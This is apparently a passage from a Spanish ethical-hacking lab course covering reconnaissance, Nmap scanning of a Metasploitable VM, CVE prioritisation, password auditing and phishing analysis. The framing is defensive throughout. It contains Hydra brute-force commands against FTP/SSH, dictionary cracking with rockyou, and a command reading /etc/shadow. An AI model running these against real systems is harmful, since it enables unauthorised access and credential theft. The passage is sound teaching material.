Paso 2. Consulta la información WHOIS del dominio. El WHOIS es un directorio público que indica quién registró un dominio, cuándo y con qué servidores de nombres. Ejecuta:

```
whois example.com
```

Lee la salida con calma y anota en tu libreta: registrador, fecha de creación, fecha de vencimiento y servidores de nombres (nameservers). Pregúntate como defensor: si este fuera mi dominio, ¿qué datos personales estoy exponiendo aquí? Muchos registradores ofrecen "privacidad WHOIS" para ocultar el correo y teléfono del dueño; anota si tu objetivo la usa o no.

Paso 3. Interroga el DNS para conocer la infraestructura. El DNS traduce nombres a direcciones IP y guarda varios tipos de registros. Ejecuta estos comandos uno por uno:

```
dig example.com A
dig example.com MX
dig example.com NS
dig example.com TXT
```

"A" da la dirección IP del sitio web, "MX" los servidores de correo, "NS" los servidores de nombres y "TXT" textos asociados (a menudo configuraciones de seguridad de correo como SPF). Anota cada resultado. Como defensor, los registros MX te dicen dónde vive el correo de la organización (un objetivo típico de phishing) y los TXT te dicen si el dominio tiene protecciones contra suplantación de correo.

Paso 4. Intenta una transferencia de zona (y observa cómo falla). En un servidor DNS mal configurado, cualquiera puede pedirle la lista completa de registros. Prueba, con fines educativos, contra tu objetivo:

```
dig axfr example.com @a.iana-servers.net
```

Lo normal es que el servidor la rechace ("Transfer failed" o "REFUSED"). Eso es lo CORRECTO: significa que está bien configurado. Anota el resultado. Si algún día administras

un DNS y esta prueba tiene éxito contra tu dominio, acabas de encontrar una vulnerabilidad grave: estás regalando el mapa completo de tu infraestructura.

Paso 5. Descubre subdominios de forma pasiva. Los subdominios (como "blog.example.com") amplían la superficie de ataque. Usa theHarvester, que consulta fuentes públicas sin tocar directamente al objetivo de forma agresiva:

```
theHarvester -d example.com -b crtsh
```

La opción "-b crtsh" usa el registro público de certificados SSL, una fuente totalmente pasiva. Anota los subdominios encontrados. Repite con otra fuente para comparar:

```
theHarvester -d example.com -b duckduckgo
```

Compara ambas listas: ¿cuál encontró más? ¿Hay coincidencias? Un defensor hace exactamente esto para saber qué partes de su infraestructura son visibles desde fuera.

Paso 6. Resuelve los subdominios a direcciones IP. Por cada subdominio interesante que encuentres, ejecuta:

```
dig +short blog.example.com
```

(Sustituye "blog.example.com" por un subdominio real de tu lista.) Anota qué IPs obtienes. Si varios subdominios apuntan a la misma IP, probablemente comparten servidor; si apuntan a IPs distintas, la infraestructura está distribuida. Esta es información que un atacante usaría para elegir por dónde empezar, y que tú como defensor debes conocer primero.

Paso 7. Dibuja el mapa de superficie de ataque. En tu libreta (o en un archivo de texto) crea un esquema como este, con tus datos reales:

```
Dominio: example.com
+-- IP principal (registro A): 93.184.216.34
+-- Servidores de nombres: a.iana-servers.net, b.iana-servers.net
+-- Correo (MX): (anotar lo encontrado)
+-- Protecciones de correo (TXT/SPF): (anotar lo encontrado)
+-- Subdominios descubiertos:
|   +-- (subdominio 1) -> IP
|   +-- (subdominio 2) -> IP
+-- Datos WHOIS sensibles expuestos: (sí/no, cuáles)
```

No tiene que ser bonito; tiene que estar completo. Este mapa es el entregable principal del laboratorio.

Paso 8. Analiza tu mapa con ojos de defensor. Marca con una estrella cada elemento que un atacante podría aprovechar: un subdominio olvidado, un correo sin protección SPF, datos personales en el WHOIS. Al lado de cada estrella escribe la contramedida: "activar privacidad WHOIS", "configurar SPF/DKIM/DMARC", "revisar si el subdominio sigue en uso". Este paso convierte la recolección de datos en trabajo defensivo real.

Paso 9. Limpia y documenta. Guarda tu mapa en un archivo "mapa-recon-lab3.txt" junto a los comandos que ejecutaste. Toma una instantánea de tu Kali con el nombre "Lab 3 completo". En tu libreta escribe un párrafo: ¿qué fue lo más sorprendente que encontraste sobre tu objetivo?

Errores comunes y cómo resolverlos

Error típico 1: "whois: command not found" o "dig: command not found". Kali a veces no trae estas herramientas en instalaciones mínimas. Instálalas con: "sudo apt install -y whois dnsutils". Vuelve a intentarlo después.

Error típico 2: theHarvester no devuelve subdominios o se queja de una fuente. Algunas fuentes gratuitas limitan las consultas o cambian su acceso. No te atores: prueba con otra fuente ("-b crtsh", "-b duckduckgo", "-b hackertarget") y compara. La falta de resultados también es un dato: anótala.

Error típico 3: la transferencia de zona (axfr) devuelve un error confuso en vez de "REFUSED" claro. Distintos servidores responden distinto ("connection timed out", "Query refused"). Lo importante es el significado, no el texto exacto: si no te entregó la lista de registros, la configuración es correcta. Anota la respuesta textual que recibiste.

Error típico 4: mezclar tu objetivo de práctica con otro dominio "para comparar". No lo hagas: cada consulta queda registrada en algún lado y el laboratorio solo autoriza tu dominio o example.com. La disciplina del alcance se practica aquí, no solo en el Lab 1.

Verificación de resultados

El laboratorio está completo si: ejecutaste whois y los cuatro tipos de consulta dig contra tu objetivo autorizado; probaste la transferencia de zona y anotaste si fue rechazada; usaste theHarvester con al menos dos fuentes y listaste subdominios; resolviste al menos dos subdominios a IP; y tu mapa de superficie de ataque contiene las siete secciones del esquema. Si theHarvester no devuelve resultados para example.com (es un dominio mínimo

de ejemplo), eso también es un resultado válido: anota "superficie mínima, sin subdominios públicos visibles" y explica por qué eso es bueno defensivamente.

Preguntas de reflexión

1. ¿Por qué el reconocimiento pasivo es la fase favorita tanto de atacantes como de defensores? Porque no alerta al objetivo: usa información pública (WHOIS, DNS, certificados) sin enviar tráfico sospechoso. El atacante lo usa para planear; el defensor lo usa para descubrir qué está exponiendo sin saberlo.
2. Si administras un dominio real, ¿cuáles son las tres acciones defensivas más urgentes que se derivan de este laboratorio? Activar la privacidad WHOIS para ocultar datos personales, configurar SPF, DKIM y DMARC para evitar suplantación de tu correo, y auditar tus subdominios para dar de baja los que ya no uses.
3. ¿Qué diferencia hay entre usar theHarvester contra tu propio dominio y usarlo contra el dominio de otra empresa sin permiso? La herramienta es la misma, pero el contexto legal cambia todo: contra tu dominio es auditoría legítima; contra el de otro sin autorización es reconocimiento previo a un posible ataque y puede tener consecuencias legales aunque "solo sea información pública".

Laboratorio 4: Escaneo con Nmap contra tu Metasploitable

Objetivo

Al terminar este laboratorio dominarás las cuatro fases del escaneo con Nmap: descubrimiento de equipos, escaneo de puertos TCP (SYN y connect), detección de versiones de servicios y escaneo UDP, además de una primera aproximación a los scripts NSE para detectar vulnerabilidades conocidas. Todo se ejecuta contra tu máquina Metasploitable de laboratorio, cuya IP anotaste en el Laboratorio 2. Comprenderás además por qué cada técnica deja huellas distintas en los registros del objetivo.

Requisitos

- Tu Kali del Laboratorio 2 con instantánea tomada.
- Tu Metasploitable encendida y con su IP anotada (en estos ejemplos usaremos 192.168.56.102; sustitúyela por la tuya).
- Tu libreta de laboratorio.

- Aproximadamente 90 minutos.

Desarrollo

Paso 1. Confirma que la víctima está viva. Antes de escanear, verifica la conectividad básica como hiciste en el Laboratorio 2:

```
ping -c 3 192.168.56.102
```

Si no responde, enciende la máquina Metasploitable y revisa el modo de red de VirtualBox. Nunca escanees una IP sin confirmar primero que es tu laboratorio: un error de un dígito podría apuntar a un equipo ajeno.

Paso 2. Descubre equipos en tu red de laboratorio. Nmap puede buscar qué direcciones están activas sin escanear puertos todavía:

```
nmap -sn 192.168.56.0/24
```

La opción "-sn" significa "solo ping", sin escaneo de puertos. Anota qué IPs responden: deberías ver tu Kali, tu Metasploitable y la puerta de enlace. Este es el mapa mínimo de tu red de laboratorio. Como defensor, este mismo comando te sirve para detectar equipos desconocidos conectados a tu red.

Paso 3. Ejecuta un escaneo SYN (sigiloso) de los puertos más comunes. El escaneo SYN no completa la conexión TCP, por eso se le llama "medio abierto" y genera menos registros:

```
nmap -sS 192.168.56.102
```

Observa la tabla de resultados: puerto, estado (open, closed, filtered) y servicio. Anota cuántos puertos aparecen como "open". Metasploitable tiene muchos servicios intencionalmente vulnerables, así que verás una lista larga: FTP, SSH, Telnet, HTTP, entre otros.

Paso 4. Compara con un escaneo connect. Este sí completa la conexión TCP de tres pasos, es más ruidoso pero no requiere privilegios de administrador:

```
nmap -sT 192.168.56.102
```

Compara ambas salidas línea por línea: los puertos abiertos deben coincidir. La diferencia está en las huellas: el escaneo connect aparece en los registros de cada servicio como una conexión real. Anota en tu libreta: ¿en qué situación elegirías cada uno? (Pista: un defensor

que audita sus propios sistemas puede usar el connect sin problema; el SYN se usa cuando se quiere minimizar el ruido.)

Paso 5. Detecta versiones de los servicios. Saber que el puerto 80 está abierto no basta; necesitas saber QUÉ software y QUÉ versión corre ahí:

```
nmap -sV 192.168.56.102
```

La opción "-sV" interroga a cada puerto abierto para identificar el servicio y su versión. Anota las versiones que detecte, por ejemplo un servidor FTP o un servidor web Apache con su número de versión. Esta información es la materia prima del Laboratorio 5: cada versión vieja es una posible vulnerabilidad con CVE asignado.

Paso 6. Escanea los puertos UDP. La mayoría de los principiantes solo escanea TCP y olvida que servicios como DNS, SNMP o DHCP usan UDP. El escaneo UDP es más lento, así que limita a los puertos más comunes:

```
nmap -sU --top-ports 20 192.168.56.102
```

Anota qué puertos UDP están abiertos. Ten paciencia: UDP no confirma recepción como TCP, así que Nmap debe esperar tiempos de espera para decidir. Como defensor, un puerto UDP abierto e innecesario (por ejemplo SNMP con comunidad pública) es un hallazgo clásico.

Paso 7. Ejecuta scripts NSE de detección de vulnerabilidades. Nmap incluye el Nmap Scripting Engine: pequeños programas que detectan configuraciones peligrosas y vulnerabilidades conocidas:

```
nmap --script vuln 192.168.56.102
```

Este escaneo tarda varios minutos. Lee la salida con atención: los scripts reportan hallazgos con referencias como CVE-2011-2523 (una puerta trasera famosa en el servidor FTP de Metasploitable). Anota cada CVE que aparezca; los usarás en el Laboratorio 5. Si quieres ver solo un servicio, puedes limitar el script a un puerto, por ejemplo "--script vuln -p 21".

Paso 8. Guarda tus evidencias. Nmap puede guardar los resultados en varios formatos a la vez:

```
nmap -sS -sV -oA evidencias-lab4 192.168.56.102
```

La opción "-oA" genera tres archivos: .nmap (texto normal), .gnmap (para búsquedas rápidas) y .xml (para importar a otras herramientas). Estos archivos son tu evidencia documentada. Un informe profesional siempre incluye los resultados crudos del escaneo.

Paso 9. Analiza desde el lado defensivo. Abre el archivo "evidencias-lab4.nmap" y cuenta: total de puertos TCP abiertos, servicios con versión identificada y CVEs reportados por los scripts. Ahora ponte el sombrero de defensor de esa máquina: escribe en tu libreta las tres acciones de endurecimiento más urgentes (por ejemplo: cerrar Telnet y usar solo SSH, actualizar el servidor FTP vulnerable, desactivar servicios innecesarios). Este es el puente entre "atacar" y "proteger".

Paso 10. Limpia y toma instantánea. Guarda tus archivos de evidencia en tu carpeta de laboratorio, toma la instantánea "Lab 4 completo" en VirtualBox y anota en tu libreta el resumen: puertos abiertos encontrados, versiones más preocupantes y tu top 3 de acciones defensivas.

Errores comunes y cómo resolverlos

Error típico 1: "nmap -sS" responde con un error de permisos o escanea lentísimo. El escaneo SYN necesita privilegios de administrador porque fabrica paquetes TCP a mano. Ejecútalo con sudo: "sudo nmap -sS ...". Si no quieres usar sudo, usa "-sT" (connect), que funciona sin privilegios.

Error típico 2: el escaneo completo tarda una eternidad. No escanees los 65,535 puertos en tu primera pasada: usa "-F" (puertos más comunes, rápido) o "--top-ports 1000" para equilibrar velocidad y cobertura. La paciencia es una virtud, pero la eficiencia también.

Error típico 3: "--script vuln" no reporta nada aunque sabes que Metasploitable es vulnerable. Verifica dos cosas: que la IP sea la correcta (un dígito mal y escaneas otra máquina) y que Metasploitable haya terminado de arrancar (sus servicios tardan un par de minutos). Repite el escaneo limitado a un puerto para probar: "nmap --script vuln -p 21 ...".

Error típico 4: confundes "filtered" con "open". "Filtered" significa que un firewall está bloqueando las sondas: no sabes si el puerto está abierto o cerrado. En tu laboratorio no debería haber filtrado; si lo hay, revisa si activaste UFW en la víctima por accidente.

Verificación de resultados

El laboratorio está completo si: el descubrimiento "-sn" mostró tu Metasploitable; los escaneos "-sS" y "-sT" reportan los mismos puertos abiertos; "-sV" identificó versiones en al menos cinco servicios; el escaneo UDP completó sin errores; "--script vuln" reportó al menos un CVE

(anótalo); y existen los tres archivos de evidencia generados con "-oA". Si "--script vuln" no reporta nada, verifica que la IP sea la correcta y que Metasploitable esté completamente arrancada.

Preguntas de reflexión

1. ¿Por qué el escaneo SYN deja menos huellas que el connect, y por qué a un defensor auditando sus propios sistemas no le importa esa diferencia? El SYN no completa la conexión, así que muchos servicios no lo registran como una sesión real. Al defensor no le importa porque está autorizado y su objetivo es el resultado, no pasar desapercibido; además quiere que sus sistemas de detección practiquen registrando actividad.
2. ¿Para qué sirve detectar la versión exacta de un servicio? Porque la vulnerabilidad no está en "tener un servidor web" sino en "tener Apache 2.2.8 con tal CVE". La versión exacta permite buscar vulnerabilidades documentadas y priorizar qué actualizar primero, que es el corazón del Laboratorio 5.
3. Encontraste Telnet abierto en tu laboratorio. ¿Cuál es el problema defensivo de Telnet y qué harías? Telnet transmite todo en texto claro, incluidas las contraseñas: cualquiera en la red puede capturarlas. La acción defensiva es desactivar Telnet y usar SSH, que cifra la comunicación.

Laboratorio 5: Investigación de CVEs y mini-reporte de vulnerabilidades

Objetivo

Al terminar este laboratorio sabrás tomar los hallazgos técnicos de un escaneo, investigar sus CVEs en bases de datos públicas, calificar su gravedad con el sistema CVSS y priorizarlos en un mini-reporte profesional con recomendaciones de corrección. Este laboratorio es puro trabajo defensivo: no explota nada, solo investiga y prioriza, que es lo que hace un analista de vulnerabilidades el 80% de su tiempo.

Requisitos

- Los resultados del Laboratorio 4 (archivo "evidencias-lab4.nmap" y tu lista de CVEs).
- Conexión a internet para consultar las bases de datos de vulnerabilidades.
- Tu libreta de laboratorio y un editor de texto.

- Aproximadamente 75 minutos.

Desarrollo

Paso 1. Extrae tus hallazgos del escaneo. Abre el archivo "evidencias-lab4.nmap" y haz una lista de cada servicio con versión identificada más cada CVE que reportaron los scripts NSE. Por ejemplo, tu lista podría incluir: "FTP vsftpd 2.3.4 - CVE-2011-2523", "OpenSSH 4.7p1", "Apache 2.2.8", "Samba 3.0.20". Ordénalos en tu libreta numerados del 1 al 5 (o más). Estos son tus "hallazgos en bruto".

Paso 2. Investiga tu primer CVE en la base de datos oficial. Abre en tu navegador la base de datos del NIST (nvd.nist.gov) y busca "CVE-2011-2523" (la puerta trasera de vsftpd 2.3.4, que casi seguro apareció en tu escaneo). Lee con atención: la descripción (qué hace la vulnerabilidad), la puntuación CVSS (del 0 al 10) y el vector de ataque (¿se explota por red? ¿requiere autenticación?). Anota la puntuación y un resumen de una línea con tus palabras.

Paso 3. Repite la investigación para dos CVEs más de tu lista. Busca cada uno en la NVD y anota: identificador CVE, descripción en una línea, puntuación CVSS y si existe solución (parche o actualización). Si alguno de tus servicios no tiene un CVE directo (por ejemplo, solo "versión vieja"), busca en la NVD por el nombre del producto y versión, como "Apache 2.2.8", y anota las vulnerabilidades críticas que encuentres. Un analista no se rinde si el escáner no le dio el CVE servido: investiga el producto.

Paso 4. Aprende a leer una puntuación CVSS. El sistema CVSS califica de 0.0 a 10.0 y se agrupa así: 0.1 a 3.9 es gravedad baja, 4.0 a 6.9 es media, 7.0 a 8.9 es alta y 9.0 a 10.0 es crítica. Pero la puntuación base no lo es todo: fíjate también en el vector. Una vulnerabilidad de 9.8 que se explota por red sin autenticación es una emergencia; una de 7.5 que requiere acceso físico a la máquina es menos urgente en la práctica. Anota esta escala en tu libreta: la usarás toda tu carrera.

Paso 5. Prioriza tus cinco hallazgos. Crea una tabla en tu editor de texto con estas columnas: número, hallazgo, CVE, CVSS, explotabilidad (alta/media/baja según tu criterio) y prioridad final (P1 crítica, P2 alta, P3 media). Ordena la tabla por prioridad, no por número de hallazgo. La priorización es una decisión profesional: combina la puntuación CVSS con el contexto (¿el servicio está expuesto a internet? ¿maneja datos sensibles?). Dos vulnerabilidades con el mismo CVSS pueden tener distinta prioridad según dónde estén.

Paso 6. Redacta la recomendación de corrección para cada hallazgo. Para cada fila de tu tabla escribe una acción concreta y verificable. Ejemplos: "Actualizar vsftpd a la última versión estable y verificar con nmap -sV", "Deshabilitar Telnet y migrar la administración a SSH con autenticación por llave", "Aplicar los parches de seguridad de Samba o aislar el servicio en una

VLAN sin acceso a internet". Evita recomendaciones vagas como "mejorar la seguridad": una buena recomendación dice qué hacer y cómo comprobar que funcionó.

Paso 7. Escribe el mini-reporte. Crea el archivo "mini-reporte-lab5.txt" con esta estructura: encabezado (título, fecha, autor, sistema evaluado: "Metasploitable 2 de laboratorio, IP 192.168.56.102"), resumen ejecutivo de cinco líneas (qué se evaluó, cuántos hallazgos, cuántos críticos, conclusión general), tabla de hallazgos priorizados, detalle de cada hallazgo (descripción, evidencia del escaneo, CVE y CVSS, recomendación) y una sección de "próximos pasos" (re-escanear después de corregir, calendarizar revisiones). No debe pasar de dos páginas: un reporte que nadie lee no protege a nadie.

Paso 8. Aplica el criterio de "falso positivo". Revisa cada hallazgo y pregúntate: ¿estoy seguro de que esto es real? Por ejemplo, un script NSE a veces reporta una vulnerabilidad por la versión del banner aunque el servicio ya esté parcheado. Anota junto a cada hallazgo cómo lo verificarías manualmente (revisar la versión instalada, probar la configuración, consultar con el administrador). Un buen analista marca sus dudas en lugar de esconderlas.

Paso 9. Guarda y documenta. Guarda tu tabla y tu mini-reporte, toma la instantánea "Lab 5 completo" y escribe en tu libreta: ¿cuál fue tu hallazgo P1 y por qué lo pusiste primero? Compara tu priorización con la de un compañero si tienes con quién: discutir prioridades es el mejor entrenamiento para este rol.

Errores comunes y cómo resolverlos

Error típico 1: el CVE no aparece en la NVD o el buscador no lo encuentra. Revisa el formato: es CVE-AAAA-NNNNN (año y número). Un guion mal puesto o un dígito de más rompe la búsqueda. Copia el identificador directamente de la salida de Nmap en vez de escribirlo a mano.

Error típico 2: confundes CVSS v2 con CVSS v3. La NVD muestra ambas puntuaciones para CVEs viejos y pueden diferir (un 7.5 en v2 puede ser 9.8 en v3). Usa siempre la v3 cuando esté disponible y anota cuál usaste: tu reporte debe ser consistente.

Error típico 3: quieres meter los 20 hallazgos del escaneo en el mini-reporte. No: el laboratorio pide priorizar 5. La priorización ES el trabajo del analista; un reporte con todo sin ordenar es solo una lista. Si te cuesta elegir, ordena por CVSS y quédate con los 5 primeros, luego ajusta por contexto.

Error típico 4: recomendaciones vagas como "actualizar el sistema". Una recomendación profesional dice qué, a qué versión y cómo verificarlo: "actualizar vsftpd a 3.0.x y confirmar con nmap -sV que el banner cambió". Si tu recomendación no se puede verificar, reescríbela.

Verificación de resultados

El laboratorio está completo si: investigaste al menos 3 CVEs en la NVD y anotaste su descripción y CVSS; tu tabla tiene 5 hallazgos priorizados de P1 a P3 con justificación; cada hallazgo tiene una recomendación concreta y verificable; tu mini-reporte tiene las cinco secciones indicadas y no pasa de dos páginas; y marcaste al menos una posible verificación de falso positivo. Si un CVE no aparece en la NVD con ese formato, revisa que lo copiaste bien: el formato es CVE-AAAA-NNNNN.

Preguntas de reflexión

1. ¿Por qué dos vulnerabilidades con el mismo CVSS pueden tener distinta prioridad en tu reporte? Porque el CVSS mide la gravedad técnica, no el riesgo real en tu entorno. Una vulnerabilidad crítica en un servidor aislado sin datos sensibles es menos urgente que una vulnerabilidad alta en el servidor que atiende a tus clientes por internet. El contexto manda.
2. ¿Qué es un falso positivo y por qué un analista honesto los declara? Es una alerta que parece vulnerabilidad pero no lo es (versión mal detectada, parche ya aplicado). Declararlos genera confianza: si ocultas tus dudas y el cliente las descubre, pierde fe en todo tu reporte.
3. Tu mini-reporte recomienda "actualizar". ¿Por qué eso a veces no es posible y qué harías entonces? A veces el software viejo lo exige una aplicación que no se puede migrar. Entonces aplicas controles compensatorios: aislar el sistema en una red separada, restringir el acceso por firewall solo a IPs necesarias, monitorear sus registros con más atención y documentar el riesgo aceptado.

Laboratorio 6: Auditoría de contraseñas - Hydra, John the Ripper y política

Objetivo

Al terminar este laboratorio sabrás auditar la fortaleza de las contraseñas de tus propios sistemas usando Hydra contra servicios de tu laboratorio y John the Ripper contra un hash que tú mismo generes, y redactarás una política de contraseñas defensiva basada en lo que descubras. La lección central: si tú puedes adivinar una contraseña en minutos con herramientas gratuitas, un atacante también puede.

Requisitos

- Tu Kali del Laboratorio 2 con instantánea tomada.
- Tu Metasploitable encendida (usaremos su servicio FTP, que tú controlas).
- Un usuario de prueba creado por ti en tu propia máquina o un hash generado por ti (nunca uses cuentas reales).
- Tu libreta de laboratorio.
- Aproximadamente 90 minutos.

Desarrollo

Paso 1. Prepara tu entorno de prueba de forma ética. En tu Metasploitable (tu laboratorio), el servicio FTP ya está activo. Vas a auditar UNA cuenta de prueba del propio laboratorio. Crea en tu libreta una lista pequeña de contraseñas débiles típicas para la prueba, por ejemplo en un archivo "candidatas.txt":

```
123456  
password  
qwerty  
msfadmin  
admin123
```

Estas son las contraseñas más usadas del mundo real según los reportes anuales de filtraciones. El objetivo es demostrar lo rápido que caen, no descubrir nada ajeno.

Paso 2. Ejecuta Hydra contra el FTP de tu laboratorio. Hydra prueba combinaciones de usuario y contraseña contra servicios de red. Ejecuta (sustituye la IP por la de tu Metasploitable):

```
hydra -l msfadmin -P candidatas.txt ftp://192.168.56.102
```

La opción "-l" fija el usuario (la cuenta de tu laboratorio) y "-P" indica tu lista de contraseñas. Observa la velocidad: Hydra prueba varias en paralelo. Anota cuánto tardó en encontrar la contraseña correcta y cuántos intentos hizo. Esa medición de tiempo es tu evidencia principal.

Paso 3. Repite contra SSH para comparar. El servicio SSH de Metasploitable también acepta la cuenta de laboratorio. Ejecuta:

```
hydra -l msfadmin -P candidatas.txt ssh://192.168.56.102 -t 4
```

La opción "-t 4" limita a 4 intentos paralelos para no saturar el servicio (buena práctica incluso en laboratorio: un ataque de fuerza bruta agresivo puede tumbar servicios reales, y eso también es algo que debes evitar como profesional). Compara los tiempos entre FTP y SSH y anótalos. Normalmente SSH tarda más porque el protocolo es más pesado, pero la contraseña débil cae de todos modos.

Paso 4. Genera tu propio hash para practicar con John the Ripper. En tu Kali, crea un hash de una contraseña débil que TÚ elijas, usando Python:

```
python3 -c "import hashlib; print(hashlib.md5('password123'.encode()).hexdigest())"
```

Copia el hash resultante a un archivo "hash-mio.txt". Acabas de crear el equivalente de lo que un atacante roba de una base de datos mal protegida: no la contraseña, sino su hash. John intentará revertirlo.

Paso 5. Rompe tu propio hash con John. Ejecuta:

```
john --format=raw-md5 hash-mio.txt
```

John primero prueba su lista interna y modos rápidos. Si no lo rompe en un par de minutos, ayúdalo con una lista de palabras (diccionario), que es como trabajan los ataques reales:

```
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash-mio.txt
```

El archivo rockyou.txt contiene millones de contraseñas reales filtradas (viene con Kali). Cuando John la encuentre, muéstrala con:

```
john --show --format=raw-md5 hash-mio.txt
```

Anota el tiempo que tardó. Reflexiona: tu contraseña "password123" estaba en una lista pública de millones. Cualquiera la habría adivinado.

Paso 6. Comprende qué hace fuerte a una contraseña. Ahora genera el hash de una contraseña larga que TÚ inventes, por ejemplo una frase de 5 palabras con un número, e intenta romperla con John y rockyou.txt durante 5 minutos. Lo más probable es que no lo logre: la longitud vence al diccionario. Anota la diferencia. La lección defensiva es matemática: cada carácter extra multiplica el trabajo del atacante.

Paso 7. Revisa dónde están los hashes en un sistema Linux real. En tu Kali ejecuta:

```
sudo cat /etc/shadow | head -5
```

Verás los hashes de las cuentas del sistema (no muestran la contraseña, solo el hash con su algoritmo). Observa que Kali usa un algoritmo moderno (yescrypt o sha512) y no MD5 simple como en tu ejercicio. Anota la diferencia: los sistemas bien configurados usan algoritmos lentos y con "sal" (salt) precisamente para que John tarde años en lugar de minutos.

Paso 8. Redacta tu política de contraseñas. Con base en todo lo medido, escribe en tu editor el archivo "politica-passwords-lab6.txt" con estas reglas: longitud mínima de 14 caracteres (las frases de paso son mejores que las contraseñas cortas complejas), prohibición de las contraseñas de rockyou.txt y sus variantes simples, cambio obligatorio si hay sospecha de filtración (no cambios forzados cada 30 días, que generan contraseñas peores), uso de gestor de contraseñas y autenticación de dos factores en todo servicio expuesto. Cada regla debe llevar una justificación de una línea basada en tus mediciones ("Hydra rompió 'admin123' en X segundos").

Paso 9. Aplica una medida defensiva inmediata en tu laboratorio. En tu Metasploitable, cambia la contraseña de la cuenta de prueba por una frase larga generada por ti y repite el ataque Hydra del paso 2 con tu lista "candidatas.txt". Verifica que ahora Hydra NO la encuentra (déjalo correr un par de minutos y deténlo con Ctrl+C). Acabas de cerrar el hueco que abriste para practicar: todo laboratorio se deja como se encontró, pero más seguro.

Paso 10. Documenta y toma instantánea. Guarda tu política, tus tiempos medidos y tus conclusiones en la libreta, toma la instantánea "Lab 6 completo" y escribe un párrafo: si fueras el administrador de una pequeña empresa, ¿cuál sería la primera medida que implementarías mañana mismo?

Errores comunes y cómo resolverlos

Error típico 1: Hydra dice "no route to host" o no conecta al FTP. El servicio puede estar detenido en tu Metasploitable. Entra a la víctima y verifica que el FTP esté escuchando (por ejemplo con "netstat -tlnp | grep 21"). Si instalaste tú el servicio, asegúrate de haberlo iniciado.

Error típico 2: John responde con error de formato ("No password hashes loaded"). El archivo debe contener SOLO el hash, sin espacios ni saltos de línea extra, y el "--format" debe coincidir con cómo lo generaste (raw-md5 en este laboratorio). Regenera el hash con el comando Python del paso 4 y pégalo limpio.

Error típico 3: rockyou.txt no existe o está comprimido. En algunas instalaciones de Kali viene como /usr/share/wordlists/rockyou.txt.gz. Descomprímelo con "sudo gunzip /usr/share/wordlists/rockyou.txt.gz" y vuelve a intentarlo.

Error típico 4: Hydra con demasiados hilos tumba el servicio de tu laboratorio y luego "nada funciona". Por eso el laboratorio usa "-t 4" y "-t 2": la fuerza bruta agresiva es también un ataque de denegación de servicio. Si lo tumbaste, reinicia el servicio en la víctima y repite con menos hilos. La lección cuenta doble.

Verificación de resultados

El laboratorio está completo si: Hydra encontró la contraseña débil de tu cuenta de laboratorio en FTP y probaste también SSH; generaste tu propio hash MD5 y John lo rompió con diccionario; mediste y anotaste los tiempos de ambos ataques; comparaste el resultado contra una frase larga que resistió; revisaste /etc/shadow y anotaste el algoritmo moderno; redactaste la política con las cinco reglas y sus justificaciones; y verificaste que la contraseña fortalecida resiste tu lista de candidatas. Si John no rompe tu hash, verifica el formato con "--format=raw-md5" y que el archivo contenga solo el hash.

Preguntas de reflexión

1. ¿Por qué limitar los hilos de Hydra con "-t 4" incluso en tu propio laboratorio? Porque la fuerza bruta agresiva puede saturar y tumbar servicios, y un profesional nunca causa daño colateral ni siquiera practicando. Además, en auditorías reales los sistemas de detección bloquean los intentos masivos; ir despacio también es más realista.
2. ¿Qué te enseñó la diferencia entre romper "password123" y no poder romper tu frase de 5 palabras? Que la longitud es la defensa más barata y efectiva: los ataques de diccionario mueren ante frases largas aunque sean fáciles de recordar, mientras que las contraseñas cortas "complejas" como "P@ssw0rd" ya están en todas las listas.
3. Si un empleado usa la misma contraseña en su correo personal y en los sistemas de la empresa, ¿cuál es el riesgo y qué dice tu política al respecto? El riesgo es el "credential stuffing": si filtran su correo personal, prueban esa contraseña en la empresa y entran. Tu política debe exigir contraseñas únicas por servicio y gestor de contraseñas para hacerlas manejables, más doble factor como red de seguridad.

Laboratorio 7: Disección de phishing y protocolo familiar antifraude

Objetivo

Al terminar este laboratorio sabrás desarmar un correo de phishing como un analista forense: leer cabeceras, detectar suplantación de remitente, identificar URLs engañosas y reconocer técnicas de presión psicológica, todo sin abrir enlaces ni descargar archivos. Además crearás un protocolo familiar contra fraudes para proteger a las personas que te rodean. Este laboratorio es 100% defensivo: no se crea ni se envía ningún engaño.

Requisitos

- Acceso a tu carpeta de spam o correo no deseado (usa mensajes reales que YA te llegaron, no los busques activamente).
- Tu libreta de laboratorio.
- No necesitas Kali para este laboratorio; basta tu computadora normal.
- Aproximadamente 60 minutos.

Desarrollo

Paso 1. Establece las reglas de seguridad del laboratorio. Antes de tocar nada: nunca hagas clic en enlaces de un correo sospechoso, nunca descargues sus adjuntos, nunca respondas y nunca llames a los teléfonos que indique el mensaje. Vas a analizar los correos como evidencia, igual que un detective analiza una escena sin contaminarla. Si tu cliente de correo carga imágenes automáticamente, desactívalo en la configuración antes de empezar.

Paso 2. Selecciona tres correos de phishing de tu carpeta de spam. Busca tres de distinto tipo si es posible: uno que se haga pasar por un banco, uno de "premios" o "paquetes detenidos" y uno que parezca de una empresa de tecnología (cuentas, facturas, seguridad). Si no tienes tres, pide a un familiar que te reenvíe los suyos o usa los ejemplos que trae tu proveedor de correo en su sección de ayuda sobre phishing. Anota el asunto de cada uno en tu libreta: Phishing 1, 2 y 3.

Paso 3. Disecciona el remitente del Phishing 1. Abre el mensaje y mira el campo "De" con lupa: los phishings usan trucos como "banc0-seguro.com" (cero en vez de o), "soporte@banco-seguridad-alertas.com" (dominio que no es el del banco) o nombres mostrados falsos ("Banco Nacional" pero la dirección real es otra). En la mayoría de los clientes puedes ver la dirección real pasando el cursor sobre el nombre o eligiendo "ver detalles". Anota la dirección real y explica el truco en una línea.

Paso 4. Lee las cabeceras del mensaje. Busca la opción "ver original" o "mostrar cabeceras" de tu cliente de correo. Localiza las líneas "Received:" (la ruta que siguió el mensaje: si dice

venir de tu banco pero pasó por un servidor en otro país, es falso), "Return-Path" (a dónde rebotaría una respuesta) y los resultados de SPF/DKIM/DMARC (si dicen "fail", el mensaje no pasó la verificación del dominio). Anota dos datos de cabecera que delaten al Phishing 1. Este es el análisis que hacen los profesionales: las cabeceras no mienten tan fácil como el cuerpo del mensaje.

Paso 5. Analiza la URL sin hacer clic. Pasa el cursor sobre el botón o enlace principal (sin clic) y mira la dirección real que muestra tu navegador o cliente. Compárala con la del sitio legítimo: busca dominios parecidos ("banc0", "banca-en-línea-segura.com"), subdominios tramposos ("banco.com.malicioso.ru", donde el dominio real es "malicioso.ru") y acortadores de enlaces que ocultan el destino. Anota la URL real del Phishing 1 y marca exactamente dónde está el engaño. Repite el análisis de remitente y URL con los Phishing 2 y 3, más rápido: ya tienes el método.

